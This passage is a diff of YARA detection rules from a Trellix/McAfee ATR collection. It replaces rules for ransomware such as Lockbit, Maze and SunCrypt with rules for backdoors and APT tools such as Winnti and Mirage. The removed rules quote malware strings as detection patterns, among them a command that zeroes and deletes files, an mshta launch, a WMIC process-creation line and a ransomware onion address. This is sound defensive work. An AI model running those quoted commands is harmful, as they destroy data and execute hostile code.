???0FB6??3C??7F??8B??????????03??????????8B??????????03??????????0FB6??83????88??8B??????????83????89??????????8B??????????89????E8????????8B??????????39??7F??81??????????????????7E??C7??????????????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????8B??????????C7??????????????89????E8????????89??????????C7??????????????????E9????????8B??????????69??????????03??????????C6??????8B??????????69??????????03??????????C7??????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????0FB6??????????3C??74??8B??????????69??????????03??????????05????????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????69??????????03??????????81??????????83????89??????89??????89????E8????????8B??????????69??????????03??????????C6????????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????3C??0F87????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????E8????????89??E8????????89??0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????0FB6??89??89??D3??89??8D????89????E8????????89????E8????????89??BA????????89??F7??89??C1????89??C1????01??89??29??83????0F87????????8B????????????FF??C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7???????????? } condition: - $pattern_0 or $pattern_1 and filesize < 5831344 + uint16( 0 ) == 0x457f and filesize < 3000KB and all of them } -rule TRELLIX_ARC_RANSOM_Darkside_DLL_May2021 : RANSOM FILE + +rule TRELLIX_ARC_APT_Stolen_Certificates : BACKDOOR FILE { meta: - description = "Rule to detect Darkside Ransomware as a DLL" - author = "TS @ McAfee ATR" - id = "e9d64637-dc8f-5650-81e1-34e27e6ee912" - date = "2021-05-14" - modified = "2023-07-27" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L26-L47" + description = "Rule to detect samples digitally signed from these stolen certificates" + author = "Marc Rivero | McAfee ATR Team" + id = "57051977-780c-5c8e-bc66-0f1d8b3bbd93" + date = "2020-04-17" + modified = "2020-08-14" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L196-L221" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "f587adbd83ff3f4d2985453cd45c7ab1" - logic_hash = "39930b6f352642647ea6b80f941201b93d6a9defd42cb75f9e4f7239ff17a4ec" + hash = "ce3424524fd1f482a0339a3f92e440532cff97c104769837fa6ae52869013558" + logic_hash = "9b700e4889349d0203bdd4e00035ee9c9aba5025ccc57eef915b2c78996f8160" score = 75 quality = 70 - tags = "RANSOM, FILE" - rule_type = "Public" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "Ransom" - - strings: - $s1 = "encryptor2.dll" wide ascii - $s2 = "DisableThreadLibraryCalls" wide ascii - $s3 = "KERNEL32.dll" wide ascii - $pattern1 = {D24DC8855EDD487B3CD2D545F11031E1FA85C2F2440712445F67D105B326533A77BA75B3383A98CE97EAA2B95798DCFA6B75B5573662F9ED5DC9B7D2E582FD94104E210F3EA62A1826B26B952FFBD5A70A97E6EC3D14794577A2980A0ED1EE02CA291623DD3721A7E68223EDA56F9E1325FE36E191D5C41F7227D55EDC3D5B9359C819} - $pattern2 = {87FC982E066F585B73D417C0D5F75B86B9F9F8286B4CC42BB2053912D595A68C07C0EDD0159AC785880C5483E246D3501F6523D05078B9B7510711423948D4CB367C83C0833BD04AD6DC655E1BEEA38770470BB48B6EBA70944E952526E4D87A03BAA485D7B4DA1318A00EF07FA76C0D} - $pattern3 = {1B6F099F1C3C62BBF5543FA03B919C7BF5E477D256CE79D98C55ACE8D69CDC9373B2F0A2B51414776D5226B74BF9A7CB935C9DD04BCFC19FC81418F7A39244A730697E1BC05418BF41DE50E4C8609533591CE80617D476E686B36CF2AE914CB3AFD720A33C0D5DE438F1CD0B} - $pattern4 = {5060E373F1D3B3BB8D15C851BBFC73F60390681C488F7C0B80FC2EDBC1ED88CEA82014B9223A70EA0BB7DD0D2560A29D39381FEE7B73AE22683AE05C369918F8C5772678A9F29CEF65854238D1C2B762CC12706637154F57A9} - $pattern5 = {EE452560DBD5A4F46FB562C9C707C8D014BB8F1C18E4467E249F5AC69A87954F5B69650B7A759CE2DD075E99CBCBA37A9C5A0650EDF06285F8F990AF6B94FBA08E3C0B2EBDE3C155ECDB06C30F95D76695} + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" + actor_type = "Cybercrime" + actor_group = "Unknown" condition: - filesize >= 45KB and filesize <= 70KB and all of ( $s* ) and 4 of ( $pattern* ) + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" or pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" ) } -rule TRELLIX_ARC_Loocipher_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Troy_Malware_Campaign_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect Loocipher ransomware" + description = "Rule to detect the Operation Troy based on the PDB" author = "Marc Rivero | McAfee ATR Team" - id = "d18efe09-4b04-5089-84f8-aead63fc19bb" - date = "2019-12-05" + id = "c1fc5b9c-104f-5d07-86ee-5a54d9731f04" + date = "2013-06-23" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-loocipher-a-new-ransomware-family-observed-this-year/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Loocipher.yar#L1-L46" + reference = "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_operation_troy.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "7720aa6eb206e589493e440fec8690ceef9e70b5e6712a9fec9208c03cac7ff0" - logic_hash = "36e452c34fd9bbb521f5422bffdbb71991de66f3faa29292dc3f27c8d7e1f9ba" + hash = "2ca6b7e9488c1e9f39392e696704ad3f2b82069e35bc8001d620024ebbf2d65a" + logic_hash = "a64b4aa082c45d1753ad30ba2f67df0ef5b7658c3c99e031ef747eb4e6c7bb00" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Loocipher" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/OperationTroy" + actor_type = "Apt" actor_group = "Unknown" strings: - $x1 = "c:\\users\\usuario\\desktop\\cryptolib\\gfpcrypt.h" fullword ascii - $x2 = "c:\\users\\usuario\\desktop\\cryptolib\\eccrypto.h" fullword ascii - $s3 = "c:\\users\\usuario\\desktop\\cryptolib\\gf2n.h" fullword ascii - $s4 = "c:\\users\\usuario\\desktop\\cryptolib\\queue.h" fullword ascii - $s5 = "ThreadUserTimer: GetThreadTimes failed with error " fullword ascii - $s6 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator *" fullword wide - $s7 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator +=" fullword wide - $s8 = "std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator []" fullword wide - $s9 = "std::vector<struct CryptoPP::ProjectivePoint,class std::allocator<struct CryptoPP::ProjectivePoint> >::operator []" fullword wide - $s10 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator *" fullword wide - $s11 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator +=" fullword wide - $s12 = "std::vector<struct CryptoPP::WindowSlider,class std::allocator<struct CryptoPP::WindowSlider> >::operator []" fullword wide - $s13 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator ++" fullword wide - $s14 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator *" fullword wide - $s15 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::_Compat" fullword wide - $s16 = "std::vector<class CryptoPP::PolynomialMod2,class std::allocator<class CryptoPP::PolynomialMod2> >::operator []" fullword wide - $s17 = "DL_ElgamalLikeSignatureAlgorithm: this signature scheme does not support message recovery" fullword ascii - $s18 = "std::vector<struct CryptoPP::ECPPoint,class std::allocator<struct CryptoPP::ECPPoint> >::operator []" fullword wide - $s19 = "std::vector<struct CryptoPP::EC2NPoint,class std::allocator<struct CryptoPP::EC2NPoint> >::operator []" fullword wide - $s20 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::_Compat" fullword wide + $pdb = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\BD_Installer\\Release\\BD_Installer.pdb" + $pdb1 = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Dll\\Concealment_Troy(Dll)\\Release\\Concealment_Troy.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 17000KB and ( 1 of ( $x* ) and 4 of them ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them } -rule TRELLIX_ARC_Lockbit2_Jul21 : FILE +rule TRELLIX_ARC_Apt_Lagulon_Trojan_Pdb : TROJAN FILE { meta: - description = "simple rule to detect latest Lockbit ransomware Jul 2021" - author = "CB @ ATR" - id = "22b423df-ae5c-5672-95be-333b13791fc6" - date = "2021-07-28" - modified = "2021-07-28" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Lockbit2.yar#L1-L25" + description = "Rule to detect trojan Lagulon based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "a31a465d-1f16-5c3e-a62d-ea15c11253c3" + date = "2013-08-31" + modified = "2020-08-14" + reference = "https://www.cylance.com/operation-cleaver-cylance" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_lagulon_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "b3ed7d7c72b7585877293f586bae5ec7b0135b09d518b4e4b08f64e60db5a159" - score = 50 + hash = "e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53" + logic_hash = "dad04c2deb990f253f952b768b74349dc9afb5f6db91ea3afff889f4c9f3230b" + score = 75 quality = 70 - tags = "FILE" - version = "v1" - hash1 = "f32e9fb8b1ea73f0a71f3edaebb7f2b242e72d2a4826d6b2744ad3d830671202" - hash2 = "dd8fe3966ab4d2d6215c63b3ac7abf4673d9c19f2d9f35a6bf247922c642ec2d" + tags = "TROJAN, FILE" + rule_version = "v1" + malware_type = "trojan" + malware_family = "Trojan:W32/lagulon" + actor_type = "Apt" + actor_group = "Unknown" strings: - $seq1 = " /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" fullword wide - $seq2 = "\"C:\\Windows\\system32\\mshta.exe\" \"%s\"" fullword wide - $p1 = "C:\\windows\\system32\\%X%X%X.ico" fullword wide - $p2 = "\\??\\C:\\windows\\system32\\%X%X%X.ico" fullword wide - $p3 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell\\Open\\Command" fullword wide - $p4 = "use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" fullword wide - $p5 = "https://tox.chat/download.html" fullword wide - $p6 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration" fullword wide - $p7 = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" fullword wide - $p8 = "\\LockBit_Ransomware.hta" fullword wide + $pdb = "\\proj\\wndTest\\Release\\wndTest.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $seq* ) and 4 of them ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 50KB and any of them } -rule TRELLIX_ARC_Ransom_Maze : RANSOMWARE FILE +rule TRELLIX_ARC_APT_Winnti : BACKDOOR FILE { meta: - description = "Detecting MAZE Ransomware" - author = "McAfee ATR" - id = "098a93c4-9aab-5563-af17-7aa91b056f64" - date = "2020-04-19" - modified = "2020-10-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Maze.yar#L1-L39" + description = "Detects Winnti variants" + author = "McAfee ATR Team" + id = "f12b039a-2508-580f-b777-428bbda2c666" + date = "2020-06-04" + modified = "2020-10-14" + reference = "https://attack.mitre.org/software/S0141/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_winnti.yar#L1-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5badaf28bde6dcf77448b919e2290f95cd8d4e709ef2d699aae21f7bae68a76c" - logic_hash = "fc16475fbc2a2acf5d053ded4d2ec4126c6d6dcac3a6eafadcd6c61419dd7594" + hash = "fd539d345821d9ac9b885811b1f642aa1817ba8501d47bc1de575f5bef2fbf9e" + logic_hash = "f94b2c552fbb30e1005e5c75a2f449d60b9558a0916197bed41bf32c6477daef" score = 75 - quality = 68 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Maze" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Winnti" + actor_type = "Apt" actor_group = "Unknown" strings: - $x1 = "process call create \"cmd /c start %s\"" fullword wide - $s1 = "%spagefile.sys" fullword wide - $s2 = "%sswapfile.sys" fullword wide - $s3 = "%shiberfil.sys" fullword wide - $s4 = "\\wbem\\wmic.exe" fullword wide - $s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii - $s6 = "NO MUTEX | " fullword wide - $s7 = "--nomutex" fullword wide - $s8 = ".Logging enabled | Maze" fullword wide - $s9 = "DECRYPT-FILES.txt" fullword wide - $op0 = { 85 db 0f 85 07 ff ff ff 31 c0 44 44 44 44 5e 5f } - $op1 = { 66 90 89 df 39 ef 89 fb 0f 85 64 ff ff ff eb 5a } - $op2 = { 56 e8 34 ca ff ff 83 c4 08 55 e8 0b ca ff ff 83 } + $pattern = { 9090909090909090909090909090C7????????????C2????90909090909081??????????E9????????CCCCCCCCCC8A??????8B??????538A??8A??568B??578B??????8B??C1????66????8B??C1????F3AB8B??83????F3AA8B??5F5E5BC390909090909090909090909090909083????5333??568D??????535089??????89??????E8????????8A??33??3A??8D??????0F94??83????5389??????528B??89??????C6????????E8????????8B??33??81??????????8D??????0F94??6A??89??????5223??89??????C6????????C6????????E8????????33??66????8D??????6A??0F94??89??????89??????5223??C6????????C6????????E8????????8B??83????33??3B??0F94??23??5E495BF7??1B??8B??83????C38B??????8B??????03??C390909090908B??????85??0F84????????8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??E9????????83????C39090909090909090909090909083????8B??????53558B??????33??568B??????83????5789??????76??81??????????8B??76??BF????????8B??????8D????03??C1????03??89??????3B??76??8B??????68????????6A??52E8????????8B??????8B??????8B??????505351565752E8????????8B??????8B??8B??????2B??8B??83????03??8B??????83????89??????77??03??0F84????????8B??????8B??????2B??03??3B??89??????75??81??????????77??8A??04??EB??83????77??08????EB??83????77??8A??80????88??EB??8D????C6????463D????????89??????76??8D????B8????????F7??C1????8B??33??8B??8B??C1????F3AB8B??83????03??F3AA8B??????81??????????4A89??????75??8B??????8B??88??468A??88??46424B75??8B??????C6????465FC6????46C6????2B??8B??????4633??89??5E5D5B83????C390909090909090909083????8B??????53558B??????568B??????8D????5789??????8B??????83????73??B8????????2B??EB??33??03??8B??2B??C1????8D??????89??????8B??????8B??????8D????3B??0F83????????8B??8B??69??????????8B??????8B??????C1????33??66??????03??8B??????2B??????89??????66??????8B??3B??0F85????????8B??????C7??????????????2B??8B??????8B??2B??0F84????????83????77??8A????0A??88????8B????89??03??E9????????83????77??8A??2C??88??468B????89??8B????89????8B????89????8B????89????03??E9????????83????77??8A??80????88??46EB??8D????C6????463D????????89??????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??8B??????81??????????4889??????75??8B??????8B??8B??????88??468B????89??8B????89????8B????89????8B????89????83????83????83????83????73??85??76??8A????88??46454B75??BB????????8B????8B????33??75??BB????????03??8B????8B??33??8B??????83????3B??73??8B??2B??????85??75??83????83????8B????8B??33??8B??????3B??72??EB??84??75??C1????4384??74??8B??????8B??03??2B??83????89??????77??3D????????77??4880????8A??80????C0????C0????0A??88??46C1????88??46E9????????3D????????77??4883????89??????77??80????80????EB??83????C6????4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????2D????????83????89??????77??8B??80????C1????80????8A??0A??80????88??46C0????88??46C1????88??46E9????????8B??83????C1????80????80????88??4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????8B??????E9????????8B??????8B??????8B??????2B??89??8B??5F2B??5E5D03??5B83????C390909090909090909090908B??????538B??????55568B??????C7??????????578A??8D????8B??????80????8B??76??81??????????8D????83????8B??83????0F82????????8A??88??40414F75??EB??33??8A??418B??83????0F83????????85??75??80????75??8A????81??????????4184??74??33??8A??418D??????8B??89??83????83????4E74??83????72??8B??89??83????83????83????83????73??85??76??8A??88??40414E75??EB??8A??88??40414E75??33??8A??418B??83????73??33??8B??8A??C1????2B??C1????2B??8A??????????81??????????4188??40478A??88??8A????4088??408A????83????8B??0F84????????8A??88??404183????76??8A??88??404183????76??8A??88??404133??8A??418B??83????72??8B??8B??C1????83????2B??33??8A??C1????2B??4F41C1????4E8A??88??8A????404788??40478A??88??40474E75??EB??83????72??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????8D????66????81??????????C1????2B??83????EB??83????0F82????????8B??8B??83????C1????2B??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????66????81??????????C1????2B??83????3B??74??81??????????83????0F82????????8B??2B??83????0F8C????????8B??89??83????83????83????8B??89??83????83????83????83????73??85??0F86????????8A??88??40474E75??E9????????33??8B??8A??C1????2B??C1????2B??4F41E9????????8B??????2B??3B??89??75??5F5E5D33??5BC31B??5F24??5E5D83????5BC39090909090909090909090909081??????????568B??68????????C7??????????FF??????????83????75??57B9????????33??8D??????66????????????F3AB66AB8D??????5068????????FF??????????83????5F75??6A??68????????FF??????????8B??5E81??????????C390909090909090909090909090568B??E8????????F6????????74??56E8????????83????8B??5EC2????909068????????C7??????????FF??????????85??75??FF??????????C39090909053558B??????5685??5774??8B??????85??74??33??33??33??85??76??8A??????????8A??????????32??80????32??8A????32??33??88????8D????BE????????F7??8D????BF????????8B??33??F7??413B??8B??72??5F5E5D5BC39083????538B??????55565768????????68????????5333??FF??????????8B??85??0F84????????68????????FF??????????8B??B0??88??????88??????8D??????B1??5056C6????????88??????C6????????C6????????C6????????C6????????88??????C6????????C6????????C6????????C6????????FF??????????5753FF??568B??FF??????????85??74??57FF??????????8B??8B??????B9????????8B??68????????50F3A5E8????????83????B8????????5F5E5D5B83????C35F8B??5E5D5B83????C39090538B??????????5657C7??????????8D????BF???????? } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them } -rule TRELLIX_ARC_RANSOM_Suncrypt : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Mirage_Pdb : TROJAN FILE { meta: - description = "Rule to detect SunCrypt ransomware" - author = "McAfee ATR Team" - id = "92655f3e-f8e4-5c9f-ae3f-0796bd31d660" - date = "2020-10-02" - modified = "2020-11-02" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L1-L25" + description = "Rule to detect Mirage samples based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "49b7623f-a2c9-52e4-8679-d62f6aae99ca" + date = "2012-09-18" + modified = "2020-08-14" + reference = "https://www.secureworks.com/research/the-mirage-campaign" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_mirage_pdb.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "9f27c6c5bfe0d01ed517d55687bf699814679488f95ce4942306f09f39e29d85" + hash = "0107a12f05bea4040a467dd5bc5bd130fd8a4206a09135d452875da89f121019" + logic_hash = "cb88dc787d9964451ea93f5574d9c73ae6a820d81e20d41c3c8ee44c3fee032d" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransomware:W32/Suncrypt" - actor_type = "Cybercrime" + malware_type = "trojan" + malware_family = "Trojan:W32/Mirage" + actor_type = "Apt" actor_group = "Unknown" - hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80" - hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806" strings: - $pattern = { 77??2F475263????78??58436463????77??7A??5263????78??5846534D5A4678??48475263??????6B??????4D5A4679??7A??5263????78??584C5163????7A??44475264??5778??58526163????30????475264??30????58556463????31????475264??73??6B??????63????32????4752646C73??6B??????38????32??5047526477??6A??5738????68????????41555039????496C46374931????46446F62????414146442F565169????????????5039????466D4A526669??????????64??63????4F6D38????414169??????????586F69??????????33????30????69????????????6F41444141414974??38????41554542516167??2F5665??4478??434A526679??6666????64??63????4F6D444141414169??????????33??69????????????77??33????2F33????2F33????36??49464141434478??7A??64667A??64??7A??64??6A??73??7A??2F34??454449584164??517A??4F74??69??????????5834??5558672F33????2F33????36??6E362F2F39????59584164??517A??4F73??69??????????33??69????????????554B30????69????????????30????5838????5830????5549554974??4446434C525268????????30??39????77??444A77??574C37495073??4D5A4634??62????65??70??6B??????73??4634??54475265??31????586C5963????35????????65????78??586F63????4636??2F47526570??78??5872??63????37475047526531??78??5875??4931????46446F534163????46442F565169????????????66??51616B??????52434C51416A??63????4C5252442F63????2F566679??78??434677??55454D38??????475368????????41496C462B????462B????4E454974??49496C49434974??454974??434974??454974??49414E494B496C4E39????4639????517A??5041514D6E44565976??555974??434974??434974??434974??494474??4E4855464D38????367A??4C525169??????????????6C72??51574466??68????????454D38??????6F74??434974??434974??434974??494374??4E496C4E2F5039??2F4974??435039????4F6A??2B????2F57566E4A77??574C37494873??41414141494E6C6C4143445A6141416733??514148554969??????????30??????44475266??75??6B??????4D5A4638????475266??73??6B??????4D5A4639????475266??6B??????33????5A462B????4752666B??????5867??73??4634??6E475265??79??6B??????4D5A4635????????65??68????????62????4635????????65??????????70??63????366E4C47526574??78??5873??4D5A4630????475264??70??6B??????73??4630??54475264??31????58565963????31????475264????78??585962????4632????47526470??78??5862????5A4633????475262????78??5739????5A4676??54475262??4478??58416463????77??4C475263????78??58445A63????78??37475263????78??5847554D5A4678??4C475263????78??584A5938????79??58475263??????6B??????38????7A??44475261526178??576C64??????70??584752616475??6B??????63????71??4847526170??78??5772??73??4672??6E47526131??????5775??38????72??2F475262????78??5778??38????73??58475262????78??5730??????4674??6E475262????78??5733????5A4675??434E5265??5136??4D46414142512F31????69????????????51554F677A??514141555039????496C466E4931????46446F4977??414146442F565169????????????6152516A??5877??5039????46442F565169????????????52434C514269????????????4932????502F2F2F31??????667A??565A434677??515A67??32????414142414855433677??4C526677??68????????2F2B????667A??31????46454974??434974??454974??4E4474??47484A4D69??????????414969??????????5838????36??6661414164??69??????????????6A??565978??2F31????68????????32????61414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C4249476F4561414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C42494974??45494E34??414231????74??454974??43476F49575776??42594E38????77??64??474C5252434C514169??????????????534A51534472??476F4561414177??41434C5252434C514169??????????????6F412F31????67??????69??????????456769??????????67????48554636??67??4141434C5252434C51416A??63????4C5252442F63????4C5252442F63????6F30????4141495045444974??454974??434974??454974??43412B??5352534E524167??69????????????38????73??69??????????6C462F4974??454974??43412B??51415935????????4F5774??2F4369??????????????45516130????4B4974??454974??454974??6D414E4D4168????????5838????74??454974??494974??6D414E4D416778??36??59424141434478??7A??73??64??6C4145414141417A??412B????50372F2F34??466C4D6E44565976??555974??434974??434974??45496C49424974??434974??42412B??414431????67??4164??517A??4F73??69??????????414569??????????6B??????67??????554969????????????4969??????????68????????4164??517A?? } + $pdb = "\\MF-v1.2\\Server\\Debug\\Server.pdb" + $pdb1 = "\\fox_1.2 20110307\\MF-v1.2\\Server\\Release\\MirageFox_Server.pdb" condition: - uint16( 0 ) == 0x6441 and all of them + uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them } -rule TRELLIX_ARC_RANSOM_Suncrypt_Decryptor : RANSOMWARE FILE + +rule TRELLIX_ARC_Syskit : FILE { meta: - description = "Rule to detect SunCrypt ransomware decryptor" - author = "McAfee ATR Team" - id = "ec0d3811-6083-5537-bf29-32ee02d43b5e" - date = "2020-10-02" - modified = "2020-11-02" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L27-L50" + description = "SYSkit backdoor" + author = "Christiaan @ McAfee ATR" + id = "f06db38f-52d5-51b5-a17f-63e285dd5f80" + date = "2019-09-17" + modified = "2020-04-02" + reference = "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Tortoiseshell_Syskit.yar#L3-L40" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "59d1193bb0f8d3983a181394b5dd5247470d9e118cc4fe0674167f162bcdb6e1" + logic_hash = "5b489d47d56de5c770b6ff6d6d56bf0fb87174f4a8428052b28fb392d9ac3f87" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransomware:W32/Suncrypt" - actor_type = "Cybercrime" - actor_group = "Unknown" - hash1 = "a0f99367b0a0a358ed6e5ae25904016d02aef6aa7c0423c34aa3ec3fd6354310" + quality = 68 + tags = "FILE" + hash1 = "07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4" + hash2 = "f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193" + hash3 = "02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2" strings: - $pattern = { 